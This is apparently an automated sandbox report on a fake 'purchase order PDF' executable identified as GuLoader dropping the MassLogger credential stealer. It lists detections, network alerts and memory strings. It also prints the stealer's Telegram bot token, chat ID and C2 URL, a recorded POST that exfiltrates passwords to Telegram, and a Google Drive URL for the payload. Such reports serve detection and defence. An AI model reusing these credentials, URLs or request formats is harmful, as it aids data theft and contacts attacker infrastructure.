Edit tour

Windows Analysis Report
PURCHASE ORDER TRC-090971819130-24_pdf.exe

Overview

General Information

Sample name:	PURCHASE ORDER TRC-090971819130-24_pdf.exe
Analysis ID:	1578319
MD5:	745504717878bb22b600df7e2c2dd9f4
SHA1:	9515d0277803511a4f401674f40f022ed69c85d7
SHA256:	8a4d38092e7f0245aa376d724cf3dbe08d4b563a86db3c99e70defaa38beb969
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Sample has a suspicious name (potential lure to open the executable)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PURCHASE ORDER TRC-090971819130-24_pdf.exe (PID: 1532 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe" MD5: 745504717878BB22B600DF7E2C2DD9F4)

PURCHASE ORDER TRC-090971819130-24_pdf.exe (PID: 4796 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe" MD5: 745504717878BB22B600DF7E2C2DD9F4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2205388503.0000000002BCC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T15:29:42.161159+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49756	149.154.167.220	443	TCP
2024-12-19T15:29:45.902560+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49766	149.154.167.220	443	TCP
2024-12-19T15:29:49.397276+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49776	149.154.167.220	443	TCP
2024-12-19T15:29:52.938425+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49785	149.154.167.220	443	TCP
2024-12-19T15:29:56.563595+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49796	149.154.167.220	443	TCP
2024-12-19T15:30:00.031933+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49806	149.154.167.220	443	TCP
2024-12-19T15:30:08.989401+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49827	149.154.167.220	443	TCP
2024-12-19T15:30:21.477445+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49859	149.154.167.220	443	TCP
2024-12-19T15:30:25.990535+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49871	149.154.167.220	443	TCP
2024-12-19T15:30:30.719693+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49883	149.154.167.220	443	TCP
2024-12-19T15:30:34.215299+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49893	149.154.167.220	443	TCP
2024-12-19T15:30:37.686699+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49904	149.154.167.220	443	TCP
2024-12-19T15:30:42.399185+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49917	149.154.167.220	443	TCP
2024-12-19T15:30:45.840863+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49925	149.154.167.220	443	TCP
2024-12-19T15:30:50.316155+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49937	149.154.167.220	443	TCP
2024-12-19T15:30:53.779170+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49947	149.154.167.220	443	TCP
2024-12-19T15:30:57.250331+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49955	149.154.167.220	443	TCP
2024-12-19T15:31:01.789509+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49967	149.154.167.220	443	TCP
2024-12-19T15:31:07.086493+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49979	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T15:29:31.912821+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49733	132.226.247.73	80	TCP
2024-12-19T15:29:40.006658+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49733	132.226.247.73	80	TCP
2024-12-19T15:29:43.850430+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49761	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T15:29:23.912768+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49713	216.58.208.238	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd200fa9571766Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org(-
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BCF000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3314213089.00000000354E1000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3314213089.00000000354E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/O5
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.0000000002578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.0000000002578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3291661247.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344704547.0000000002614000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344614634.00000000025E5000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025CD000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.0000000002578000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG&export=download
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344704547.0000000002614000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344614634.00000000025E5000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/xs
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 216.58.208.238:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49756 version: TLS 1.2

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: PURCHASE ORDER TRC-090971819130-24_pdf.exe
Source: initial sample	Static PE information: Filename: PURCHASE ORDER TRC-090971819130-24_pdf.exe

Sample has a suspicious name (potential lure to open the executable)

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe

Static file information: Suspicious name

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004032A0

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00407041	3_2_00407041
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_0040686A	3_2_0040686A
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00404B30	3_2_00404B30
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00154328	3_2_00154328
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00158DA0	3_2_00158DA0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00155968	3_2_00155968
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00155F90	3_2_00155F90
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00152DD1	3_2_00152DD1
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B303AF	3_2_32B303AF
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B35328	3_2_32B35328
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3331A	3_2_32B3331A
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3C638	3_2_32B3C638
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B37628	3_2_32B37628
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3CCA0	3_2_32B3CCA0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3DA9C	3_2_32B3DA9C
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3AAEA	3_2_32B3AAEA
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3EBF7	3_2_32B3EBF7
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3E339	3_2_32B3E339
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B36B01	3_2_32B36B01
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3B07F	3_2_32B3B07F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3F042	3_2_32B3F042
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B37848	3_2_32B37848
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3C1E0	3_2_32B3C1E0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3B930	3_2_32B3B930
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B36EA0	3_2_32B36EA0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3DEE1	3_2_32B3DEE1
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3E79F	3_2_32B3E79F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3A733	3_2_32B3A733
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3CC91	3_2_32B3CC91
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3B4EC	3_2_32B3B4EC
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3BD88	3_2_32B3BD88
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593BDF0	3_2_3593BDF0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35939D10	3_2_35939D10
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359396C8	3_2_359396C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35938650	3_2_35938650
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593A9B0	3_2_3593A9B0
